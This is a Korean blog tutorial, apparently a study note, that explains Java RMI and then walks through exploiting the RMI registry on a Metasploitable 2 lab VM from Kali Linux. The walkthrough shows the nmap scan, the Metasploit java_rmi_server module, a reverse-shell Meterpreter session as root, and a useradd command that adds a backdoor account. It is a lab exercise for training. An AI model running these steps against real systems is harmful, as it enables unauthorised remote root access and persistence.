본문 바로가기

Learning/└◆Metasploit

Metasploitable V2 Linux 서버의 취약점(RMI)

(7) 버그를 공격하는 경우(RMI 취약점 존재)

 

실습 시스템

- KaliLinux (EX: attacker system)

- Metasploitable V2 Linux (EX: victim system)

 

RMI (Remote Method Invocation) ; 원격 메쏘드 호출

출처: www.terms.co.kr

 

RMI (Remote Method Invocation) ; 원격 메쏘드 호출

 

RMI는 자바 프로그래밍 언어와 개발환경을 사용하여 서로 다른 컴퓨터들 상에 있는 객체들이 분산 네트웍 내에서 상호 작용하는 객체지향형 프로그램을 작성할 수 있는 방식이다. RMI는 일반적으로 RPC라고 알려져 있는 것의 자바 버전이지만, 그러나 요청과 함께 하나 이상의 객체들을 통과시키는 능력을 가지고 있다. 객체는 원격 컴퓨터 내에서 수행될 서비스를 변경하는 정보를 포함할 수 있다. 자바를 발명한 회사인 썬 마이크로시스템즈(Sun Microsystems)에서는 이것을 "움직이는 작용"(moving behavior)이라고 부른다. 예를 들면, 원격 컴퓨터에 있는 사용자가 비용 청구서를 채울 때, 사용자와 상호작용을 하는 자바 프로그램은 RMI를 사용하여 비용 보고에 관해 항상 최신 방침을 가지고 있는 다른 컴퓨터의 자바 프로그램과 통신할 수 있을 것이다. 이에 답하여, 그 프로그램은 최신 방침에 위반됨이 없는 방식으로 사용자의 비용 청구서 데이터를 심사하는 원격 컴퓨터 프로그램의 이용을 허락하는 객체와, 관련 메쏘드 정보를 돌려보낼 것이다. 사용자와 회사는 둘 모두 초기에 실수를 예방함으로써 시간을 절약할 수 있게 된다. 회사의 방침이 변경될 때마다, 오직 한 컴퓨터에 있는 프로그램만 변경하면 된다.

 

(Sun)은 그것의 객체 매개변수 전달 방식을 객체 직렬화라고 부른다. RMI 요청은 원격 객체의 메쏘드를 부르는 요청이다. 이 요청은 지역 컴퓨터 내에 객체 메쏘드를 부르는 것과 같은 구문 형식을 가진다. 일반적으로, RMI는 네트웍에 걸쳐 있는 객체 모델과 그것의 장점들을 보호하기 위해 설계된다.

 

RMI는 응용프로그램과 자바 가상머신 사이에 세 개가 계층으로 구현된다. 그 세 가지 계층이란 다음과 같다.

클라이언트/서버 관계의 클라이언트 측에 있는 스터브 프로그램, 서버 측에서 대응하는 조직. 호출하는 프로그램에게 스터브는 서비스를 위해 호출되는 프로그램으로 보이게 된다 (썬은 스터브와 비슷한말로 프럭시라는 용어를 사용한다)..

Remote Reference Layer는 호출하는 프로그램에 의해 전달된 매개변수에 따라 다르게 행동할 수 있다. 예를 들면, 이 계층은 그 요청이 단일 원격 서비스를 호출하는 것인지 또는 멀티캐스트에서 다중 원격 프로그램을 호출하는 것인지를 결정할 수 있다.

Transport Connection Layer는 이 요청을 설정하고 관리한다.

 

단일 요청은 한 컴퓨터 상에 있는 계층들을 통하여 아래로 내려오며, 다른 쪽에 있는 컴퓨터의 계층들을 통하여 위로 올라간다. RMI는 썬 마이크로시스템즈의 JDK의 일부로서 공급된다.

 

 

출처: http://empireks.tistory.com/119

 

RMI

 

분산 시스템에서 상대의 자바 객체를 호출할 수 있는 프로토콜. 자바 객체가 네트워크상 어느 곳에 있던 간에 서로 통신할 수 있게 해주는 기능으로, 네트워크로 연결된 다른 컴퓨터에 존재하는 메소드를 마치 내 컴퓨터에 있는 듯이 호출해서 사용하게 된다. 원격 절차 호출(RPC)의 자바 버전으로, 프로그래머가 소켓 통신에 대한 고려 없이 원격 메소드 호출(RMI) 관련 등급만으로 프로그램을 작성하면 자바 하부에서 네트워크에 관련된 처리를 담당해 준다. 공동 객체 요구 매개자 구조(CORBA)의 객체 모델을 도입하고, 이를 단순화해 객체의 이동이나 분산된 객체의 접속을 가능하게 해주는 자바 객체만을 위해 설계된 것이다. 따라서 다른 언어로 작성된 컴포넌트를 사용하지 않는다.

 

JAVA RMI

자바로 분산 객체 환경, 즉 다른 머신 간에 객체끼리 메시지를 교환할 수 있는 환경을 실현하기 위한 방법. JDK 1.1 이후에 표준으로 분류되며, 이 방법을 이용하여 네트워크를 통해 프로그램끼리 통신할 수 있다.

 

취약점 공격 과정(RMI 취약점 존재)

(KaliLinux)

rmregistry server 포트 확인

# msfconsole -q

msf > help

..... (중략) ....

msf > help db_nmap

..... (중략) ....

msf > db_nmap -sV 192.168.10.134

[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-04 21:56 KST

[*] Nmap: Nmap scan report for 192.168.10.134

[*] Nmap: Host is up (0.000085s latency).

[*] Nmap: Not shown: 977 closed ports

[*] Nmap: PORT STATE SERVICE VERSION

[*] Nmap: 21/tcp open ftp vsftpd 2.3.4

[*] Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

[*] Nmap: 23/tcp open telnet Linux telnetd

[*] Nmap: 25/tcp open smtp Postfix smtpd

[*] Nmap: 53/tcp open domain ISC BIND 9.4.2

[*] Nmap: 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

[*] Nmap: 111/tcp open rpcbind 2 (RPC #100000)

[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

[*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

[*] Nmap: 512/tcp open exec netkit-rsh rexecd

[*] Nmap: 513/tcp open login?

[*] Nmap: 514/tcp open tcpwrapped

[*] Nmap: 1099/tcp open rmiregistry GNU Classpath grmiregistry

[*] Nmap: 1524/tcp open shell Metasploitable root shell

[*] Nmap: 2049/tcp open nfs 2-4 (RPC #100003)

[*] Nmap: 2121/tcp open ftp ProFTPD 1.3.1

[*] Nmap: 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

[*] Nmap: 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

[*] Nmap: 5900/tcp open vnc VNC (protocol 3.3)

[*] Nmap: 6000/tcp open X11 (access denied)

[*] Nmap: 6667/tcp open irc Unreal ircd

[*] Nmap: 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

[*] Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

[*] Nmap: MAC Address: 00:0C:29:FA:DD:2A (VMware)

[*] Nmap: Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.62 seconds

msf >

 

Java RMI Server Exploit 검색 및 공격

msf > search java_rmi_server

 

Matching Modules

================

 

Name Disclosure Date Rank Description

---- --------------- ---- -----------

auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal Java RMI Server Insecure Endpoint Code Execution Scanner

exploit/multi/misc/java_rmi_server 2011-10-15 excellent Java RMI Server Insecure Default Configuration Java Code Execution

 

 

msf > use exploit/multi/misc/java_rmi_server

msf exploit(java_rmi_server) > show options

 

Module options (exploit/multi/misc/java_rmi_server):

 

Name Current Setting Required Description

---- --------------- -------- -----------

HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request

RHOST yes The target address

RPORT 1099 yes The target port

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

 

 

Exploit target:

 

Id Name

-- ----

0 Generic (Java Payload)

 

 

msf exploit(java_rmi_server) > set RHOST 192.168.10.134

RHOST => 192.168.10.134

msf exploit(java_rmi_server) > exploit

 

[*] Started reverse TCP handler on 192.168.10.50:4444

[*] Using URL: http://0.0.0.0:8080/HZXG3V

[*] Local IP: http://192.168.10.50:8080/HZXG3V

[*] Server started.

[*] 192.168.10.134:1099 - Sending RMI Header...

[*] 192.168.10.134:1099 - Sending RMI Call...

[*] 192.168.10.134 java_rmi_server - Replied to request for payload JAR

[*] Sending stage (45718 bytes) to 192.168.10.134

[*] Meterpreter session 1 opened (192.168.10.50:4444 -> 192.168.10.134:45017) at 2016-04-04 22:07:43 +0900

[-] Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request

[*] Server stopped.

 

meterpreter > help

..... (중략) .....

 

Stdapi: System Commands

=======================

 

Command Description

------- -----------

execute Execute a command

getenv Get one or more environment variable values

getuid Get the user that the server is running as

ps List running processes

shell Drop into a system command shell

sysinfo Gets information about the remote system, such as OS

 

..... (중략) .....

 

meterpreter > ifconfig

 

Interface 1

============

Name : lo - lo

Hardware MAC : 00:00:00:00:00:00

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ::

 

 

Interface 2

============

Name : eth0 - eth0

Hardware MAC : 00:00:00:00:00:00

IPv4 Address : 192.168.10.134

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::20c:29ff:fefa:dd2a

IPv6 Netmask : ::

 

meterpreter > getuid

Server username: root

meterpreter > shell

Process 1 created.

Channel 1 created.

id

uid=0(root) gid=0(root)

useradd -m -s /bin/bash student

grep student /etc/passwd

student:x:1004:1004::/home/student:/bin/bash

date

Mon Apr 4 09:11:43 EDT 2016

exit

[-] core_channel_interact: Operation failed: 1

meterpreter > exit

[*] Shutting down Meterpreter...

 

[*] 192.168.10.134 - Meterpreter session 1 closed. Reason: User exit

msf exploit(java_rmi_server) > quit

 

 

MSF가 없다면?

 

 

 

[참고] 버그를 공격하는 경우

 

CSS(Computer Security Student) 사이트

http://www.computersecuritystudent.com/cgi-bin/CSS/process_request_v3.pl?HID=cdd36f56d4adae17549f9f2e542c3b60&TYPE=SUB

 

RAID7.com 사이트

https://community.rapid7.com/docs/DOC-1875